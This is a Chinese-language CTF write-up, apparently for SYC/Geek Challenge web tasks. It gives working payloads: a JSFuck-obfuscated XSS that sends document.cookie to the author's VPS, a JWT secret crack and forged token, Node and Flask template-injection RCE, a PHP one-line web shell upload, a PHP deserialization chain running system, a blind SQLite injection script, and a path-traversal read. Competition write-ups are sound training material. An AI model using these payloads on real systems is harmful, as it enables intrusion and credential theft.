+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()+[])[!+[]+!+[]+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[!+[]+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+[+[]]+[+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()+[])[!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[+!+[]]]+document.cookie)>

vps里搭web服务器:

1
python3 -m http.server

页面里点击发送,然后提交管理员访问,vps接收到:

1
43.248.77.192 - - [25/Oct/2025 02:16:52] "GET /?c=FLAG=SYC{019a176810c37afaa5f038490030b8d7} HTTP/1.1" 200 -

Expression

这个程序员偷懒直接复制粘贴网上的代码连 JWT 密钥都不改..?

jwt.io解析jwt,尝试爆破jwt_key:

1
./gojwtcrack -t token.txt -d rockyou.txt

得到jwt_key是 secret

伪造user=admin的jwt:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFhYUBxcS5jb20iLCJ1c2VybmFtZSI6InVzZXJfNzQwYzQxMWM1NzM5IiwiaWF0IjoxNzYxMzI1OTYzLCJleHAiOjE3NjE5MzA3NjN9.PRmjv1GUcvmnqzz7lG54PF4Gr0MD65ut10skltmIGBI

修改cookie,显示”admin”,尝试 “6“ 也无效果。

题目是Expression,猜测是node.js,尝试node.js的SSTI:

1
2
3
4
5
6
{
"email": "aaa@qq.com",
"username": "<%- global.process.mainModule.require('child_process').execSync('id') %>",
"iat": 1761325963,
"exp": 1761930763
}

发现可以回显id,改为:

1
2
3
4
5
6
{
"email": "aaa@qq.com",
"username": "<%- global.process.mainModule.require('child_process').execSync('env') %>",
"iat": 1761325963,
"exp": 1761930763
}

得到flag:

1
FLAG=SYC{019a1734deb97ab9b2e9d6ef9fb520ed}

one_last_image

第一次接受文件上传时,并没有什么特别的感觉,因为独属于我的waf,我早已部署。再见了,所有的一句话木马。

Can you give me one last shell?

上传1.php的时候bp抓包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 019a16eb-fcca-708b-b0fa-68267c4d4816.geek.ctfplus.cn

------WebKitFormBoundaryzZMcE6nu3YZMaAv4
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: application/octet-stream

123
------WebKitFormBoundaryzZMcE6nu3YZMaAv4
Content-Disposition: form-data; name="colorsize"

20
------WebKitFormBoundaryzZMcE6nu3YZMaAv4
Content-Disposition: form-data; name="mode"

light
------WebKitFormBoundaryzZMcE6nu3YZMaAv4--

重放发现响应是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 500 Internal Server Error
Date: Fri, 24 Oct 2025 15:56:49 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 883
Connection: close
X-Powered-By: PHP/8.2.29

Error during image processing: cannot identify image file '/var/www/html/uploads/1f5ad475-36eb-4b96-baa3-2aa532a7f033.php'
Traceback (most recent call last):
File "/var/www/html/one_last_image.py", line 140, in main
draw_colorful(color_size=color_size,input_path=input_path,output_path=output_path,mode=dark_mode)
~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/var/www/html/one_last_image.py", line 98, in draw_colorful
draw_list = get_image_line(color_size, input_path)
File "/var/www/html/one_last_image.py", line 61, in get_image_line
im_raw = Image.open(file)
File "/usr/local/lib/python3.13/dist-packages/PIL/Image.py", line 3560, in open
raise UnidentifiedImageError(msg)
PIL.UnidentifiedImageError: cannot identify image file '/var/www/html/uploads/1f5ad475-36eb-4b96-baa3-2aa532a7f033.php'

虽然报解析图片错误,但php文件已经被重命名写入了uploads里,修改php内容为:

1
<?=`$_GET[x]`;

得到路径,访问:

1
/uploads/26ac570a-4d79-4d78-93cd-003e8bb70df2.php?x=env

得到flag:

1
FLAG=SYC{0_M3_de_t0u_019a16ebfcae7251bb6d929cc0000664}

popself

有同学跟我说他只会做一个类的php反序列化题,那来试试看

构造反序列化链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from phpserialize import *
from urllib.parse import quote

class All_in_one: # __invoke
public_Samsāra='system'
public_ivory='env'

class All_in_one: # __tostring
public__4ak5ra=All_in_one()

x = All_in_one()

class All_in_one: # __call
pass

y = All_in_one()

class All_in_one: # __set
public_komiko=y
public_L='9e9' # 绕过 strlen($args[0])<4 && ($args[0]+1)>10000
public_sleep3r=x
public_Fox='summer::find_myself' # 静态调用

class All_in_one: # __destruct
public_KiraKiraAyu='0e1138100474' # 绕过 md5(md5($this->KiraKiraAyu))==md5($this->K4per)
public_K4per='0e215962017'
public_QYQS=All_in_one()

print(quote(serialize(All_in_one())))

# O%3A10%3A"All_in_one"%3A3%3A%7Bs%3A5%3A"K4per"%3Bs%3A11%3A"0e215962017"%3Bs%3A11%3A"KiraKiraAyu"%3Bs%3A12%3A"0e1138100474"%3Bs%3A4%3A"QYQS"%3BO%3A10%3A"All_in_one"%3A4%3A%7Bs%3A3%3A"Fox"%3Bs%3A19%3A"summer%3A%3Afind_myself"%3Bs%3A1%3A"L"%3Bs%3A3%3A"9e9"%3Bs%3A6%3A"komiko"%3BO%3A10%3A"All_in_one"%3A0%3A%7B%7Ds%3A7%3A"sleep3r"%3BO%3A10%3A"All_in_one"%3A1%3A%7Bs%3A7%3A"_4ak5ra"%3BO%3A10%3A"All_in_one"%3A2%3A%7Bs%3A8%3A"Samsāra"%3Bs%3A6%3A"system"%3Bs%3A5%3A"ivory"%3Bs%3A3%3A"env"%3B%7D%7D%7D%7D

最后利用php特性,传参:

1
/?24[SYC.zip=O%3A10%3A"All_in_one"%3A3%3A%7Bs%3A5%3A"K4per"%3Bs%3A11%3A"0e215962017"%3Bs%3A11%3A"KiraKiraAyu"%3Bs%3A12%3A"0e1138100474"%3Bs%3A4%3A"QYQS"%3BO%3A10%3A"All_in_one"%3A4%3A%7Bs%3A3%3A"Fox"%3Bs%3A19%3A"summer%3A%3Afind_myself"%3Bs%3A1%3A"L"%3Bs%3A3%3A"9e9"%3Bs%3A6%3A"komiko"%3BO%3A10%3A"All_in_one"%3A0%3A%7B%7Ds%3A7%3A"sleep3r"%3BO%3A10%3A"All_in_one"%3A1%3A%7Bs%3A7%3A"_4ak5ra"%3BO%3A10%3A"All_in_one"%3A2%3A%7Bs%3A8%3A"Samsāra"%3Bs%3A6%3A"system"%3Bs%3A5%3A"ivory"%3Bs%3A3%3A"env"%3B%7D%7D%7D%7D

得到flag:

1
FLAG=SYC{Round_And_r0und_019a1703475b76489d20173cb334e46b}

Sequal No Uta

SQLite Ma U

找到注入点:

1
2
0'/**/or(1)or/**/'0 该用户存在且活跃
0'/**/or(0)or/**/'0 未找到用户或已停用

查询sql语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "http://019a3b43-d0ea-7442-80c5-20774493afec.geek.ctfplus.cn/check.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'iif(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{i},1)>"{chr(mid)}",1,0)'
data = {
'name': f"0'/**/or({payload})or/**/'0"
}
r = requests.get(url,params=data)
if "该用户存在且活跃" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

得到:

1
435245415445205441424C4520757365727320280A2020202020202020696420494E5445474552205052494D415259204B4559204155544F494E4352454D454E542C0A2020202020202020757365726E616D65205445585420554E49515545204E4F54204E554C4C2C0A202020202020202070617373776F72642054455854204E4F54204E554C4C2C0A202020202020202069735F61637469766520494E5445474552204E4F54204E554C4C2044454641554C5420312C0A202020202020202073656372657420544558540A20202020292C435245415445205441424C452073716C6974655F73657175656E6365286E616D652C73657129

16进制转字符:

1
2
3
4
5
6
7
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_active INTEGER NOT NULL DEFAULT 1,
secret TEXT
),CREATE TABLE sqlite_sequence(name,seq)

查询secret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "http://019a3b43-d0ea-7442-80c5-20774493afec.geek.ctfplus.cn/check.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'iif(substr((select/**/group_concat(secret)/**/from/**/users),{i},1)>"{chr(mid)}",1,0)'
data = {
'name': f"0'/**/or({payload})or/**/'0"
}
r = requests.get(url,params=data)
if "该用户存在且活跃" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

SYC{YourPoem-019a3b43d0d3771eb31a26e72cf9ae44}

ez_read

规矩二蛊都抱怨起来:“人啊,我们老早就告诉过你。我们的名字你最好一个人知晓,不要让其他存在知道。否则我们就要为别的存在所用了。
现在好了吧,智慧蛊已经知道了我们的名字,事情麻烦了。”

注册,读文件。

/proc/self/environ,得到路径:/opt/___web_very_strange_42___

/opt/___web_very_strange_42___/app.py,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}

def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload

@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)

@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")

@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))

@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)

@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

session伪造:

列目录:

1
{{y.__init__['__glo''bals__'].__builtins__['eval']('__imp''ort__("os").popen("ls -al /").read()')}}
1
2
3
flask-unsign --sign --cookie "{'user': '{{y.__init__[\'__glo\'\'bals__\'].__builtins__[\'eval\'](\'__imp\'\'ort__(\"os\").popen(\"ls -al /\").read()\')}}xxxxxxxxxxxxxxx'}" --secret 'key_ciallo_secret'

.eJxVi8EKhDAMRH9Fckl7UO_7K6uEimUJZNvSqCil_249Orc3b6bArj7DB0q5BiIOvBF9kegnEXFxokQ4N7PsLBsHfaw_nOBs2or_CTHm9jETRJ3ADikmHxqJdr2Tbny67N1qLNpaz3eg3lXaLPI.aQTR-A.PTLp0pUcitdCkVLessweYwUwrCw

得到:

1
-r--------   1 root root   69 Oct 31 14:44 flag

提权:

1
{{y.__init__['__glo''bals__'].__builtins__['eval']('__imp''ort__("os").popen("find / -perm -u=s -type f 2>/dev/null").read()')}}
1
2
3
